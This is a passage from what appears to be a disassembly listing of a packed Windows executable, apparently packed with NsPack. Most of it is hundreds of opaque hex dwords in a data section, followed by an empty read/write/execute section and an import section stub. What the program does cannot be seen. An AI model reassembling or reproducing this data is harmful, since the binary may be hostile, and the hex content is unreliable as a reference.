dd 1CBC6D1Dh, 0B1080570h, 7193FEDAh, 43B2E030h, 60035926h
dd 9DC38191h, 75EB1F10h, 0D955ED29h, 5CDB7C69h, 0AC5B2E18h
dd 0AD9C6B72h, 0F1AA398h, 717CEAF4h, 5FDEB0A7h, 0BDB358F0h
dd 0E3FC79D7h, 0C1D2EB0h, 0A0BD1988h, 0DF48B18Ah, 7787EBF3h
dd 0E041A5A8h, 903F91A6h, 3E904A6Dh, 0F2F23E8Dh, 9DCDC7F0h
dd 0EC930015h, 0B4DAC40Fh, 713266F3h, 0CC6C4BFCh, 0FB72CC1Fh
dd 0EB982D0Eh, 4AA41C90h, 0BF7441DBh, 0B71F893Bh, 81719374h
dd 3AB22DA7h, 0A5F2B874h, 178D8C7Eh, 931458BEh, 0E87A1B75h
dd 85871184h, 0ADB43D0Bh, 96D7E04h, 0C2B5E03Ah, 0AF2C85AAh
dd 0E76401ADh, 3BF82ECCh, 0B8787950h, 511DDB84h, 0B7E6D244h
dd 0D0B4BF81h, 5BA2FCE6h, 929E1B13h, 0DA8E8A26h, 93FF30ACh
dd 51398EC3h, 0F685E2B8h, 66BFFFE1h, 0EB8CD13Ah, 1BEEC313h
dd 0E8E3EA11h, 0B229127Fh, 9270284Dh, 47BF96DBh, 3F962A02h
dd 8965DA60h, 0BDBFF9F6h, 13FA2993h, 9DD06811h, 0AF400236h
dd 9ECAA43Ah, 7CDA0C79h, 0FFA6B571h, 4AAC28ACh, 0ACB3B855h
dd 81DE75F8h, 0F5E58B09h, 867BCD37h, 9EA5842Ah, 0B593020Ch
dd 7D760DBFh, 3F88370Ah, 7F0123Ah, 4D06F373h, 44B581C2h
dd 9A0F1FB6h, 4A61ACB0h, 41CEC354h, 3B628625h, 0D2422339h
dd 3CA6FFE8h, 1D1563E4h, 0F27C5EDBh, 0B2D3F409h, 905F68BAh
dd 6199EDBCh, 0E294F8FEh, 4D7DBFB1h, 0D0458132h, 0E55124D8h
dd 3F843144h, 8214A53Eh, 0E667F22Eh, 0CDC0B0C0h, 212707A6h
dd 5E2D4697h, 0B966EBF1h, 0FA23B85Ch, 98C67979h, 549C6747h
dd 0A2916D87h, 0B2D48132h, 7734C588h, 343EE9D9h, 2F2360EBh
dd 0DC6CDF22h, 77A69A08h, 0ADE63648h, 27016299h, 5EEE73F2h
dd 0ECC32D0Eh, 0D65B52C3h, 94351626h, 0A8A0A92Eh, 46F626F7h
dd 69C99E95h, 64E4B476h, 4E150BA8h, 0CA138634h, 0B4E7BD28h
dd 4C806BDh, 6DED83C3h, 884E2FD4h, 1FCF93DCh, 0E6E7B5C0h
dd 0B043B2BAh, 90931310h, 2E85AAD0h, 62C04AFh, 2F67A147h
dd 0E4A6FEBCh, 82AC51A1h, 0ACCEA179h, 0EAFF7D02h, 0BCA442FAh
dd 440B4473h, 28BE7FC5h, 33BD6D70h, 0F57C4F0Bh, 0BE9165F0h
dd 0F45227F3h, 57C0E0Eh, 585E925h, 0A045ADD5h, 51E7261Fh
dd 7EF93BCDh, 0E0CBF1E5h, 9EFCA113h, 0DA5F8DDh, 0C77A7637h
dd 3DE055E5h, 6695299Ah, 15FCB470h, 90DFEBD0h, 5C1DD73Dh
dd 9E89A472h, 3F9E308Ch, 0A991C4FBh, 0AFDEC43Fh, 48ADC305h
dd 0A7801826h, 0E0108397h, 51E5461Ch, 701A216Ah, 0C70EFDC0h
dd 88E6C7D6h, 0F6EEC8ACh, 38118AF3h, 0D0392D4Ah, 0F88A560Eh
dd 2FA37FA8h, 85A97A0Bh, 48D7BB66h, 401F8656h, 0E93F104Bh
dd 0A6E5BD71h, 0E53B0E53h, 0D3E26DABh, 0C627119h, 27C97243h
dd 0B965A2DAh, 5CFF9BF9h, 216FA334h, 0C03CA182h, 0BAF39E3Ah
dd 7B49E09Fh, 66658C83h
dd 692EAA08h, 9FA056B0h, 0F88C9B6Ch, 361617CCh, 0B4BB642Ah
dd 0FAEF2A10h, 7F626DCDh, 0EFA8AEDFh, 56EF85B8h, 0E020C5EFh
dd 0FF40DCD7h, 3E7B8452h, 69A63308h, 0F8CC05A4h, 0EE12CB67h
dd 0AB5036FBh, 27AE2895h, 34BBFFFCh, 4217CDAAh, 0F1055779h
dd 5937078Bh, 0D64ADAEEh, 9DB1C48h, 0B17F94B8h, 0B87C55B9h
dd 188F2B02h, 0ACA7F5C2h, 47D86033h, 0D838DE0h, 0EE9DD82Bh
dd 0A4DD5251h, 3E4AD92Fh, 45C7DBDEh, 745AF20Ch, 0FAC6B565h
dd 0BE363B64h, 4D57F12h, 6B232B89h, 0A938E19Fh, 0B6D74A74h
dd 0DFF8C047h, 0E5B72E2h, 4E4CD038h, 35E16B40h, 359F1AA1h
dd 0C037A1EEh, 79F8C674h, 90B9D853h, 0DD16CDADh, 0C9101B15h
dd 0E4199674h, 66D489B5h, 313C0666h, 0BF50749Bh, 40A3FB5Ch
dd 35CF5A18h, 0E0A43EBAh, 0FCC382AEh, 80E65539h, 0BDCE4466h
dd 0A5C1C4A9h, 1BE0A199h, 0BF8F37E4h, 252A38CDh, 0B174C5FCh
dd 46BAD0A9h, 7EA724D3h, 9A53CC3Ch, 248DCF73h, 6AAC3DD8h
dd 0CFFFA413h, 0A0FBA6A0h, 8473DBCDh, 714FAAA3h, 0F6774FABh
dd 17D6DA84h, 0DC0B00AEh, 753107B3h, 65F9E567h, 0AD41A105h
dd 7E136774h, 37BD584Bh, 0E6295DB1h, 6822920Eh, 0F3DC2184h
dd 1983318h, 3E993847h, 13A1385Ch, 4FA5F471h, 6B470F75h
dd 0CD3329A8h, 0C0AC492Ah, 24790F21h, 81F035FDh, 748DB84Ah
dd 0CF92EF2Ah, 2B5406BCh, 0CC485A62h, 271454DBh, 0A3E8F954h
dd 8AFF452Fh, 0DA2C267Eh, 63038C0Ch, 98D10042h, 6A0D8192h
dd 78D2226Ch, 35A130C8h, 0BBE1DBE3h, 0BF0878Ah, 0CC951C5Dh
dd 0FA6E1DFFh, 0F5B6CF7Eh, 6FA310ABh, 0D1D41961h, 0E8054E33h
dd 10751CDDh, 0C9D4A5C5h, 17A9F4DCh, 7172247h, 0C3D94F59h
dd 42B0EC8Ah, 57787154h, 0AD26E4D6h, 46803736h, 4286F6A0h
dd 0C2292738h, 535A56D3h, 3ED7B63Fh, 936C31AEh, 0C7E7ED5Bh
dd 2BB3B79Eh, 0B8D1FEDDh, 0F8CD8238h, 0A3F138CDh, 1349B370h
dd 33A58F34h, 0B93F90Dh, 7DA23D99h, 5C246B41h, 9B2AD0h
dd 0AF41CED1h, 752B11D7h, 3DA73D2h, 0C7C31F1Bh, 811FD699h
dd 0FA462D56h, 716C864Bh, 27348E64h, 0FED07932h, 96DB56E1h
dd 0DA6D49C0h, 9A862CA9h, 2132E6F4h, 0E78E061h, 31C34EE9h
dd 1FB39C81h, 453FF481h, 5162237Dh, 29DEAF18h, 0EEAA933Ch
dd 0BDD8E06Eh, 0A8268CCAh, 679031CAh, 0D466AA25h, 31AF12D4h
dd 2C7E9DBCh, 2CE0DFAFh, 0E4D9EA61h, 5421B4DDh, 0A5DFD274h
dd 0AE88FDEh, 218BBEB8h, 0D87D2882h, 4CC9F59Dh, 4DC3765Ch
dd 5A1BDBE2h, 0FD37F766h, 0B4CF7F15h, 0B4F3E618h, 8E3FC057h
dd 4089B5BAh, 0AABEC271h, 0B499E394h, 0FCE120DFh, 4A7AB5AAh
dd 3272A0Ch, 6653215Dh, 0EC36813Ah, 1E23A1EFh, 23F04F2Dh
dd 965563Fh, 0BD92EC85h, 0DA52BF02h, 0FFB05370h, 6B45E8Fh
dd 0F26E3302h, 321AB636h, 0B79C4178h, 0DBCE541Ch, 0F3E8526Ah
dd 3883CC8Eh, 0B2240797h, 402EAB49h, 24A45EAAh, 7EAB3621h
dd 5D690116h, 0A1BA0EDCh, 7AE3C866h, 439FF6B5h, 0C3872BF4h
dd 0B893BF38h, 0E8106879h, 0A4CE6A32h, 54EB9D33h, 722B23C8h
dd 652D7103h, 0A069388Fh, 9212E147h, 0D6594845h, 38DF8496h
dd 0BFABA2F2h, 0B10E0D10h, 3C0FBDDFh, 734AC177h, 8C0A20CEh
dd 65167E86h, 0D02D96Bh, 0DB9B57CDh, 0D2637BE0h, 0FF747B68h
dd 0CDF964Fh, 0CF8716Eh, 0FA829537h, 9DEA3216h, 3030DE77h
dd 1347E16Fh, 304D7BB7h, 3F2A9E08h, 0E18847D5h, 0A203317Ah
dd 673E1588h, 3C4D7380h, 53D86C03h, 31CE0FB0h, 8B2D6D37h
dd 0FB0B3B14h, 214F2179h, 8DB5BE05h, 0F676075Fh, 45DA5D1Ch
dd 29636813h, 0E0995C4Bh, 0BAE06D96h, 3A5BC86Fh, 355D574Eh
dd 6E90A28Eh, 0C6708779h, 86DDF7CCh, 0E450E770h, 8A547AF2h
dd 78055010h, 0D85511E0h, 0B1B642D8h, 39C1BABh, 14F82A52h
dd 4062C5Eh, 819B094Ch, 0CAECE5AEh, 1424BBEBh, 676D98Eh
dd 444B46F9h, 0C26E463h, 73E5CCC6h, 218500C8h, 38CA994Eh
dd 7432BB5Eh, 0D718A59Bh, 0AB578BDAh, 846C9ECBh, 9D71BF34h
dd 0B345F79Ah, 74C8874h, 2FE987C7h, 6A813D40h, 0E8D03706h
dd 83C3F9B9h, 0DA02388Dh, 1DD5916Eh, 0DC79A799h, 67136A11h
dd 57DCDB25h, 6CD1F492h, 254929EFh, 0FB550B15h, 0CAC9B8CBh
dd 667BB8F4h, 0A1121FBBh, 0CF8B3E6Eh, 0DAEEFBE7h, 3B2DC3A5h
dd 5EE320CAh, 83E791B7h, 0B8B5BDA9h, 20601EF7h, 0B0C49C80h
dd 714364D4h, 4146AB2h, 494B1AA0h, 0D0CCCC6Fh, 0C8BDD597h
dd 2AF47713h, 4BB70070h, 0A9E09E37h, 62CC0DB1h, 0F6EE51A3h
dd 8F4E2461h, 2747E661h, 6D233109h, 0E7554F5h, 49A2700h
dd 0E63A838h, 90C2758Ah, 0F88D06BAh, 0F0980574h, 54B2142Eh
dd 44E8FFCBh, 2412C77Ch, 2029A1EAh, 2FC8C493h, 0B70121F1h
dd 0CC5D4480h, 2EA26826h, 3FCBD9E3h, 11058FD4h, 57AD6370h
dd 0D9F6978h, 20E297D4h, 3F03BDB1h, 38FE5326h, 5327588Ah
dd 5ABD66EDh, 98CACE43h, 636C49D3h, 0BFEDFB87h, 42E0FED8h
dd 0D8979C4Bh, 0B9E7F8F6h, 57B3EE54h, 67F590EEh, 221FD902h
dd 1D1DAE03h, 87312083h, 6CBF0B1Eh, 15DF9FD3h, 6104CF11h
dd 94EF165h, 0EA2DEBD7h, 0CDE8F68Bh, 62EC11E2h, 0B53B6E74h
dd 2B4A5B3Bh, 6885F02Ch, 7361C8E4h, 48DFBB18h, 1FFDCB1Bh
dd 0AE9A51FBh, 1A8C4AABh, 410AC247h, 0F3E76A4Fh, 0BBB927DDh
dd 0E14CE09Dh, 0D161C52Dh, 0A19E0B44h, 0D853D276h, 0A7A11715h
dd 63779CA6h, 93576E5Ch, 0D8401EF2h, 5E012DA8h, 5F03A71Eh
dd 0F8A5EDB5h, 6AF4469Fh, 0C9CCEBF1h, 87523951h, 587B663Ch
dd 7EDB9360h, 0AF19191Dh, 8751FBF6h, 0B2BD1000h, 0A9099418h
dd 48A37385h, 0BA507B83h, 38689A96h, 7B456FDCh, 4155379Bh
dd 4331C322h, 0B43A37C9h, 35A17A69h, 0CADD8548h, 0C47C0D5Dh
dd 8AD74A5Dh, 46C532B4h, 0D6B81F71h, 0F830D060h, 14F3921h
dd 0F481159Eh, 2BCEB183h, 9F4B7725h, 59434273h, 91BC3D1Ch
dd 0F15852DBh, 6CD5FE4Dh, 0FD587157h, 3830BCD1h, 1AD533F1h
dd 0EEE08D0h, 0C87C22E2h, 180B3BBBh, 3F7CF656h, 0FF2CB4A5h
dd 0FE72E758h, 0A38F2729h, 404CFC1Fh, 78323619h, 4B198B5Bh
dd 0F2182587h, 0AF79015Dh, 0E510BC68h, 11FB08B9h, 0F53B38C4h
dd 331E747Bh, 0C9EF19A7h, 918CDB27h, 36A2E4C3h, 0A364C32Fh
dd 0CC02D5CBh, 49D8D19Bh, 0D1CAAF8Eh, 363D1A2Ah, 744CCBD0h
dd 357B899Ah, 9B6DA42Ah, 0BC3D891Eh, 0DF4FD8Eh, 68C35BADh
dd 2357E72Ch, 0D8D4A2C5h, 9D52BB58h, 17029BAFh, 0B5F30561h
dd 0A51A8C13h, 0E8AC4BF4h, 28F2B16Fh, 19A05C64h, 204CCF15h
dd 0DC8A46BDh, 9BB4FE09h, 0D57E3209h, 6CCE9020h, 56559D69h
dd 0ECBFBF08h, 188C0BE0h, 631E0B99h, 0B8A5CFFFh, 18A5FEA7h
dd 898EAD42h, 0F2B22A77h, 0FAF7743Bh, 81CA8F3h, 149487B2h
dd 8BAEDE9Eh, 0D7134BA3h, 1EAAFDCFh, 0F5E686A6h, 4A0FBA17h
dd 0EC9B67D0h, 59F971B8h, 60E5FD22h, 25CBB9C2h, 0E40F297Fh
dd 0AF7683F6h, 0EF6F33A3h, 4B5EB9F0h, 3C7E2020h, 44826919h
dd 12291322h, 0E96557D0h, 0BE8E9381h, 66474803h, 289CDA2h
dd 3C8EEB51h, 4E0B9A72h, 928C9DD3h, 0A384AC38h, 9EF74C48h
dd 0E74DF6C6h, 70D146B8h, 0D1C85B9Eh, 0EA4B75CAh, 48D3F780h
dd 10B6B978h, 58AB6214h, 1FA71759h, 2FDABE55h, 0F625D744h
dd 0F73C5FF0h, 131B5E75h, 0CD63F45Ch, 0B374DAB9h, 70EA9A06h
dd 66005D19h, 0D00E02Bh
dd 0AE46DCB9h, 0BB137C91h, 78D33168h, 1E9A0A3Ah, 0BD7C3C47h
dd 2A5F4335h, 8D43ACA9h, 708C2034h, 7CA1BB07h, 0F1749D57h
dd 0CBFCF7B0h, 0A83F1C59h, 2387C703h, 0C7222228h, 0BB4C56EEh
dd 5BC64EFAh, 35B84830h, 0FF53DB0Ch, 203996E8h, 0CB748F2Ah
dd 1C474507h, 0C0944D56h, 0E3D5F169h, 0F1F75245h, 0DDD81B5h
dd 75EE88F2h, 0C0842F65h, 50722D7Ch, 0A49A4158h, 1B99898Ch
dd 0A8115EA7h, 874182C6h, 8F5CAE3Fh, 599E8DB9h, 0EAE74073h
dd 0E0394945h, 0F3C9FFBh, 759B6C58h, 3456BE23h, 0CF365BE7h
dd 7E5C526Ah, 91FF6225h, 2949D8B5h, 1E3B8698h, 0C0E019BAh
dd 0A768361Dh, 0ECB89B3Eh, 0B3F4A172h, 0F382A8A1h, 7ABDF071h
dd 0FDBB4E40h, 8BEADE35h, 7F6AA9E8h, 0E91EDD30h, 7A0B114Eh
dd 47570690h, 11C821DCh, 1E782C61h, 0E135697Fh, 510C26F3h
dd 0DB84C5A1h, 0D10B1054h, 0ADA34FF2h, 23DE8B5Ch, 31100CC8h
dd 0F786399Eh, 0ACF39A66h, 92166659h, 170B5A60h, 4589F784h
dd 0E521279Dh, 0A2F64EF9h, 7DE2EEDAh, 0CADB5FE3h, 0DE07143h
dd 8B9EAB0Bh, 2B924572h, 36A5DA9Fh, 8878102Bh, 0C3AC50B4h
dd 317B3A95h, 0F409FA9Ch, 330FBD65h, 4F2CC68Ah, 0E80F7E6Dh
dd 0AB900BCBh, 2297EFF6h, 0AEBE7E76h, 50E20323h, 38DBAB04h
dd 16D12796h, 0FC5E47E5h, 0BFDEF1B7h, 63A86D30h, 0C053F21Bh
dd 7AE14A5Eh, 0F1AA6342h, 0C80EAA93h, 0C2ED811Fh, 0A99F33DAh
dd 15FCE829h, 0EA5962F4h, 0C55AEE35h, 0D6C7E78Fh, 0F378A50Eh
dd 5AEDDB9Bh, 0AFDCC46Bh, 54EB762h, 0A0445A9Ah, 0CF781912h
dd 0D70A3045h, 0C85683B8h, 4FA99E9Bh, 0EE5A0011h, 0CA0DD3AFh
dd 0FA2E228Ah, 8A7102FEh, 0C69D20A5h, 0D728DA73h, 2FEA072h
dd 6A1724E3h, 0C673CF5Ch, 1353CE07h, 6A581645h, 0A00C447Bh
dd 2F9E0252h, 0AEBDCDF5h, 0A5E2E823h, 0DCAF00FDh, 61C423B1h
dd 0E7E5151Ah, 0EA837024h, 0F35A9361h, 53233FE8h, 4BA171ECh
dd 5A5BDC78h, 551C173Ch, 498E5890h, 5B01124Fh, 549793FCh
dd 0B2618AECh, 77A2CA76h, 601DC35Eh, 4752E62h, 43C8520Bh
dd 0E24C5B34h, 5B73691Bh, 41275BCCh, 797FE089h, 0EA6CA829h
dd 94BA8821h, 0D4E0A639h, 12DB36B7h, 9E70D456h, 357F97C8h
dd 0FABD2C0h, 25022021h, 56B12224h, 2EFED1A7h, 9D5569BDh
dd 0EC87E9F8h, 930FC42Dh, 0E95551B6h, 0CC375DC0h, 0EC4E50BDh
dd 0F0B0CAB5h, 1DC935ECh, 0AED81246h, 0C00D074Ch, 52C49FB7h
dd 0A18E3A05h, 55A76F21h, 0E2A6E253h, 31FB92A5h, 0B39E6336h
dd 0FE58A7A4h, 0FA24B52Bh, 19DA0470h, 1A3260BDh, 0B6279EB9h
dd 0DF986E94h, 94AA02F4h, 0B15DCDB2h, 9B956288h, 0B4568272h
dd 0B7F172C7h, 0BD0033h, 56168F28h, 0ED9D88h, 2A8D383Fh
dd 580AA6Fh, 50C196CAh, 0A4451CAAh, 0BD48E903h, 156DD33Bh
dd 0FA39553Ch, 0B2E6BB45h, 137116A3h, 0FA57310Fh, 22203288h
dd 350D45A7h, 259F05F6h, 0AE795A7Ah, 0C38A9A98h, 8372DB35h
dd 0A8B3BF2h, 0D587CAAFh, 8830BFDEh, 0B409EB63h, 15AB0A87h
dd 1594F148h, 371EAB04h, 7FE4FA02h, 8DA9294Dh, 70567152h
dd 37A3DC57h, 3BB176A3h, 307F11C3h, 8FE57F38h, 0A6E9AB04h
dd 0B65C67F3h, 22B39112h, 8A09446Bh, 35B54CF1h, 6BA7F467h
dd 0C635401Fh, 0E565E938h, 0E11F4E08h, 2E3CE87h, 0D6F87529h
dd 0AE31E24Dh, 0CFAE59CCh, 0D3087678h, 0A1EAB943h, 121C6609h
dd 0F08AE42Eh, 0A1338ACFh, 0FCCA5004h, 64E1AADEh, 4756F05Eh
dd 89DC36FCh, 0BC722618h, 0B228DC19h, 6D0B097Bh, 2C7F49BDh
dd 6C6EA971h, 6C3B6AC9h, 33E93096h, 37185746h, 0F6F575C8h
dd 0F9E86908h, 99D3EF84h, 0D9C8BE70h, 799C4B97h, 85C11D30h
dd 20C0h, 100h dup(0)
_nsp1 ends
; Section 3. (virtual address 000A2000)
; Virtual size : 00000F58 ( 3928.)
; Section size in file : 00000F58 ( 3928.)
; Offset to raw data for section: 000A2000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_nsp2 segment para public 'CODE' use32
assume cs:_nsp2
;org 4A2000h
assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
dd 3D6h dup(0)
_nsp2 ends
; Section 4. (virtual address 000A3000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 000A3000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 4A3000h
align 2000h
_idata2 ends
end start